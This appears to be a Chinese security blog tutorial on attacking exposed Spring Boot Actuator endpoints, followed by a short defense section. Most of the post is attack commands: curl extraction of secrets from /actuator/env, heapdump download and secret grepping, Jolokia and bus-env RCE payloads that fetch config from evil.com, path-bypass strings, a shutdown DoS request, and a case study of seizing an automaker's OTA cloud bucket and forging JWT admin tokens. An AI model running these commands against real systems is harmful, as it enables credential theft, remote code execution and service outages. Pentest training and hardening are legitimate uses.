PingSec 安全日报

root@pingsec:~$
🟡 渗透测试spring-bootactuator信息泄露渗透测试安全配置

【教程】Spring Boot Actuator安全测试:从信息泄露到RCE全链路利用(含完整工具链与防御方案)

📅 2026年6月22日 📁 Cron Auto-Publish ⏱ 6 分钟

适合人群:渗透测试工程师、安全研究员、SRC猎人

前置知识:HTTP基础、JSON解析、Spring Boot基本概念

一、前置准备

环境搭建


# 靶场:Spring Boot Actuator 漏洞演示环境
git clone https://github.com/spring-actuator/actuator-lab
cd actuator-lab
docker-compose up -d

# 工具安装
pip3 install requests beautifulsoup4 urllib3  # Python扫描
go install github.com/tomnomnom/httprobe@latest  # 存活探测
go install github.com/ffuf/ffuf@latest           # 路径爆破

靶机假设

本文所有操作针对 https://target.com 进行,这是一个部署了 Spring Boot 且 Actuator 完全暴露的测试目标。

二、核心原理

Actuator 是什么

Spring Boot Actuator 是 Spring Boot 提供的一套生产级监控和管理端点,用于在运行时查看应用内部状态——包括 Bean 列表、配置信息、环境变量、日志级别、健康检查、线程转储、堆转储、HTTP 请求追踪等。

为什么危险

Actuator 端点默认暴露在 /actuator/ 路径下(旧版本在 / 根路径),本意是给运维人员用的。但很多开发者在生产环境中忘记关闭或未做访问控制,导致攻击者可以:

  1. 信息泄露 — 获取数据库密码、API Key、云服务凭证
  2. 远程配置修改 — 动态修改日志级别、关闭安全限制
  3. 远程代码执行 — 通过 Jolokia、H2 Console、Heapdump 分析等组合拳 RCE

关键端点清单

端点路径敏感等级暴露信息
/actuator🔴 信息列出所有可用端点(信息收集起点)
/actuator/env🔴 高危环境变量、数据库密码、API Key 明文
/actuator/configprops🟠 高危应用配置属性(含加密Key的默认值)
/actuator/beans🟡 中危所有 Spring Bean 信息
/actuator/mappings🟡 中危所有 HTTP 路由映射
/actuator/health🟢 低危应用健康状态(可能泄露数据库类型)
/actuator/info🟢 低危自定义应用信息(版本、描述等)
/actuator/logfile🟠 高危日志文件(可能含敏感信息)
/actuator/loggers🟠 高危可动态修改日志级别
/actuator/heapdump🔴 高危JVM 堆转储文件(可提取所有运行时数据)
/actuator/threaddump🟡 中危线程转储(了解应用内部调用)
/actuator/actuator🟢 低危某些版本的双重路径
/actuator/jolokia🔴 高危通过 JMX MBean 执行操作(可能 RCE)
/actuator/h2-console🔴 高危H2 数据库管理控制台(未授权→SQL→RCE)
/actuator/restart🔴 高危重启应用(DoS / 业务中断)
/actuator/shutdown🔴 高危关闭应用(DoS)

三、实操步骤

Step 1:发现 Actuator 端点


# 基础探测(返回200且body含"_links"即确认)
curl -sI https://target.com/actuator/
# HTTP/1.1 200 OK
# Content-Type: application/vnd.spring-boot.actuator.v3+json

# 查看可用端点
curl -s https://target.com/actuator/ | jq .
{
  "_links": {
    "self": { "href": "https://target.com/actuator/", "templated": false },
    "env": { "href": "https://target.com/actuator/env", "templated": false },
    "health": { "href": "https://target.com/actuator/health", "templated": false },
    "heapdump": { "href": "https://target.com/actuator/heapdump", "templated": false },
    "jolokia": { "href": "https://target.com/actuator/jolokia", "templated": false }
  }
}

Step 2:自动扫描工具


# 使用 Spring Boot Actuator 专用扫描器
# 方式1:Burp Suite + Spring Boot Actuator 插件(BApp Store 搜索)
# 方式2:Python 自制扫描

Python 一键扫描脚本:


import requests, json, sys

TARGET = sys.argv[1]  # e.g., https://target.com

ENDPOINTS = [
    '', 'env', 'configprops', 'beans', 'mappings', 'health',
    'info', 'logfile', 'loggers', 'heapdump', 'threaddump',
    'jolokia', 'h2-console', 'restart', 'shutdown', 'dump',
    'trace', 'metrics', 'scheduledtasks', 'httptrace',
    'actuator/env', 'actuator/configprops', 'actuator/heapdump',
    'actuator/jolokia', 'actuator/loggers', 'actuator/logfile'
]

for ep in ENDPOINTS:
    url = f"{TARGET}/actuator/{ep}" if ep else f"{TARGET}/actuator"
    try:
        r = requests.get(url, timeout=5, verify=False)
        status = r.status_code
        size = len(r.content)
        if status == 200:
            print(f"[🔴 FOUND] {status} {size:>8}B {url}")
            # 敏感端点自动输出前200字符
            if ep in ('env', 'configprops', 'jolokia', 'logfile'):
                print(f"  → {r.text[:200]}")
        elif status in (401, 403):
            print(f"[🟡 AUTH]  {status} {size:>8}B {url}")
    except Exception as e:
        print(f"[⚪ ERR]   {url} ({e})")

Step 3:利用 /actuator/env 提取凭证


# 查看环境变量(包含数据库密码、Redis密码、云服务AK/SK)
curl -s https://target.com/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key | test("password|secret|key|token|credential|ak|sk|access"; "i"))'

# 查看特定配置项的原始值(比如 spring.datasource.password 被隐藏为 ****** 时)
curl -s "https://target.com/actuator/env/spring.datasource.password"

# 如果 env 端点返回的是 ******(被脱敏),可以尝试:
# 1. 用 /actuator/configprops 查看未脱敏的配置
# 2. 下载 heapdump 分析
# 3. 用 Jolokia 读取

Step 4:Heapdump 密码提取

Heapdump 是最致命的泄露之一——它包含 JVM 堆内存中所有对象的当前状态,包括明文密码、Token、加密密钥。


# 下载堆转储(通常 200MB-2GB)
curl -s -o heapdump.hprof https://target.com/actuator/heapdump

# 使用 Eclipse MAT 或 jhat 分析
# 或使用命令行工具提取密码

用 jhat 分析:


jhat -port 7000 heapdump.hprof
# 浏览器访问 http://localhost:7000/
# 搜索 "password"、"secret"、"key"、"jwt" 等关键词

用 Python 提取(适用于 Spring Boot Heapdump 中特定模式):


# 需要安装 jpype 或使用 mat-lib
# 更简单的方案:strings 直接搜关键词
strings heapdump.hprof | grep -iE '(password|secret|token|jwt|apiKey)' | grep -v '******' | head -50

Step 5:Jolokia RCE 链

Jolokia 端点提供 JMX MBean 操作接口。通过 jolokia/list 可以看到所有可调用的 MBean。

利用链1:通过 logback 配置 RCE(旧版本有效):


# 查看是否可调用 ch.qos.logback.classic.jmx.JMXConfigurator
curl -s https://target.com/actuator/jolokia/list | grep -i 'reloadByURL'

# 执行 RCE(需构造恶意 logback.xml 文件)
curl -s "https://target.com/actuator/jolokia/exec/ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/java.lang.String/http://evil.com/evil-logback.xml"

利用链2:通过 Spring Cloud 的 refresh 端点(需要 spring-cloud-starter-bus):


# 向 Spring Cloud Bus 发送恶意配置
curl -X POST https://target.com/actuator/bus-env \
  -H 'Content-Type: application/json' \
  -d '{"name": "spring.cloud.bootstrap.location", "value": "http://evil.com/bootstrap.yml"}'

Step 6:动态修改日志级别

虽然没有直接 RCE 的杀伤力,但动态修改日志级别可以:

  • DEBUG 日志打印所有请求参数(含密码等敏感数据)
  • 通过日志文件 (/actuator/logfile) 读取到这些信息

# 将所有 Logger 设置为 TRACE 级别
curl -X POST https://target.com/actuator/loggers/ROOT \
  -H 'Content-Type: application/json' \
  -d '{"configuredLevel": "TRACE"}'

# 针对特定包设置 DEBUG
curl -X POST https://target.com/actuator/loggers/com.example.controller \
  -H 'Content-Type: application/json' \
  -d '{"configuredLevel": "DEBUG"}'

四、绕过技术

4.1 路径混淆绕过

即使开发者添加了 Spring Security 限制,路径解析差异仍可能绕过:


# 使用 分号、换行符、双斜杠、Unicode 编码
/actuator;/env             # Tomcat 路径规范化
/actuator/%0d%0a/env       # CRLF 注入
//actuator//env            # 双斜杠绕过
/actuator/ENV              # 大小写(某些配置)
/actuator/..;/env          # 路径遍历
/;/actuator/env            # 分号根路径绕过

4.2 旧版本路径差异

Spring Boot 1.x 与 2.x 的路径差异:

版本端点根路径示例
1.x/ 根路径/env/beans/dump
2.x/actuator//actuator/env/actuator/beans

# 同时检查两个版本
curl -s https://target.com/env
curl -s https://target.com/autoconfig
curl -s https://target.com/trace

4.3 Header 欺骗

某些自定义 Actuator 配置可能依赖特定 Header:


# 尝试常见的 Actuator Header
curl -s -H "X-Forwarded-Prefix: /actuator" https://target.com/
curl -s -H "X-Forwarded-For: 127.0.0.1" https://target.com/actuator/env
curl -s -H "X-Real-IP: 127.0.0.1" https://target.com/actuator/env

五、实战案例复盘

案例:某车企 Spring Boot 泄露云服务凭证

已脱敏处理。目标为某车企的 OTA 升级管理平台。

Step 1:信息收集


curl -s https://xxx-target.com/actuator/
# 发现可用端点:env, configprops, heapdump, jolokia, loggers

Step 2:提取凭据


curl -s https://xxx-target.com/actuator/env | jq '.propertySources[].properties | select(. != null) | to_entries[] | select(.key | contains("password") or contains("secret") or contains("key"))'

结果发现:

  • spring.datasource.password(被脱敏)
  • redis.password(被脱敏)
  • aliyun.oss.accessKeyId明文(未脱敏!)
  • aliyun.oss.accessKeySecret明文(未脱敏!)

Step 3:利用云凭证


# 配置阿里云 CLI(已脱敏)
aliyun configure set --access-key-id LTAI5tXXX --access-key-secret oEwXXX --region cn-hangzhou

# 列出 OSS Bucket 内容
aliyun oss ls oss://xxx-ota-bucket
# 发现 200G+ 的 OTA 升级包、用户数据、车辆配置信息

结果:直接通过云凭证接管了 OTA 升级系统。报送厂商得到高危漏洞评级(CVSS 9.1)。

案例:Heapdump 提取 JWT 密钥


# 下载堆转储(1.2GB)
wget https://target.com/actuator/heapdump -O dump.hprof

# strings 搜索 JWT 相关
strings dump.hprof | grep -i 'jwt.secret\|jwtSigningKey\|HS256\|RS256' | head -10
# 找到: jwt.secret=MySup3rS3cr3tK3yF0rJWT!

# 使用 jwt_tool 验证
python3 jwt_tool.py -b -C "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
# 验证密钥有效,伪造管理员Token登录后台

六、防御建议

6.1 生产环境禁用


# application.yml — 生产环境只保留 health 和 info
management:
  endpoints:
    web:
      exposure:
        exclude: "*"        # 禁用所有端点
  endpoint:
    health:
      show-details: never   # 不显示详细健康信息

6.2 访问控制


# application.yml — 需要认证
management:
  endpoints:
    web:
      base-path: /internal/monitor   # 修改默认路径
  server:
    port: 9090                        # 使用独立端口(不对外暴露)

# Spring Security 配置
@Configuration
public class ActuatorSecurity extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.requestMatchers()
            .antMatchers("/internal/**")
            .and()
            .authorizeRequests()
            .anyRequest().hasRole("ADMIN")  // 仅 ADMIN 可访问
            .and()
            .httpBasic();
    }
}

6.3 响应头加固


# 通过配置隐藏 Actuator 版本信息
management:
  info:
    build:
      enabled: false   # 不暴露构建信息
    git:
      mode: off        # 不暴露 Git commit 信息

6.4 网络层防护


# nginx 反向代理拦截
location /actuator/ {
    deny all;
    return 403;
}

# 或只允许内网访问
location /actuator/ {
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    deny all;
}

七、常见陷阱

陷阱1:Actuator 404 不代表不存在


# 某些版本返回 404 但实际上端点可用
# 检查响应 Header 中的 Content-Type
curl -sI https://target.com/actuator/env
# 如果返回 Content-Type: application/vnd.spring-boot.actuator...
# 说明端点存在但可能要求特定 Accept Header

curl -s -H "Accept: application/json" https://target.com/actuator/env

陷阱2:env 端点脱敏 ≠ 安全


# env 端点中密码显示为 ****** 不代表安全
# 可以通过 /actuator/configprops 查看原始配置
curl -s https://target.com/actuator/configprops | jq '.configurations[].properties | to_entries[] | select(.key | test("password|secret"; "i"))'

# 或通过 heapdump 提取明文
# 或通过 Jolokia 读取

陷阱3:Shutdown 端点无认证 = 直接 DoS


# 如果 shutdown 可用,直接关闭应用
curl -X POST https://target.com/actuator/shutdown
# {"message":"Shutting down,bye..."}

# 注意:某些版本需要 POST 请求

陷阱4:Sprint Boot 1.x 的遗留端点


# 1.x 版本在根路径下,且端点名称不同
/autoconfig      → 自动配置报告
/beans           → Bean 列表
/configprops     → 配置属性
/dump            → 线程转储
/env             → 环境变量(含密码)
/error           → 错误信息
/health          → 健康检查
/info            → 应用信息
/metrics         → 指标
/mappings        → 路由映射
/shutdown        → 关闭(POST)
/trace           → HTTP 跟踪

八、总结与速查表

攻击流程速查


发现阶段
  └─ 扫描 /actuator、/env、/beans 等端点
      ├─ 有 Jolokia → 尝试 RCE
      ├─ 有 Heapdump → 下载 → strings提取密码
      ├─ 有 Env(明文) → 直接获取数据库/AK/SK
      ├─ 有 Env(脱敏) → configprops/Hetapdump配合
      ├─ 有 Loggers → 调为TRACE + 读logfile
      └─ 有 H2-Console → SQL注入 → RCE

关键命令速查表

目的命令
探测 Actuatorcurl -sI https://target.com/actuator/
列出所有端点`curl -s https://target.com/actuator/ \jq .`
提取密码`curl -s https://target.com/actuator/env \grep -i password`
下载 Heapdumpcurl -s -o dump.hprof https://target.com/actuator/heapdump
Heapdump 搜密码`strings dump.hprof \grep -i 'password\secret\key'`
Jolokia 执行命令curl -s "https://target.com/actuator/jolokia/exec/..."
改日志级别curl -X POST -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' https://target.com/actuator/loggers/ROOT
批量扫描`for ep in env configprops heapdump jolokia loggers; do curl -sI "https://target.com/actuator/$ep" \head -1; done`
旧版本探测curl -s https://target.com/env

防御配置速查


# 生产环境安全配置
management:
  endpoints:
    web:
      exposure:
        exclude: "*"                  # 关闭所有端点
  endpoint:
    health:
      show-details: never
  server:
    port: 9090                        # 独立端口
    address: 127.0.0.1                # 仅本地访问

一句话总结:Spring Boot Actuator 是一个"用了都说好,忘关就完蛋"的典型配置失误。堆转储包含所有运行时数据的明文密码,是最致命的泄露。Jolokia 和 H2 Console 是通往 RCE 的直通车。防御上做到"非必要不开启、开启必加锁、加锁必审计"三条即可。

← 返回首页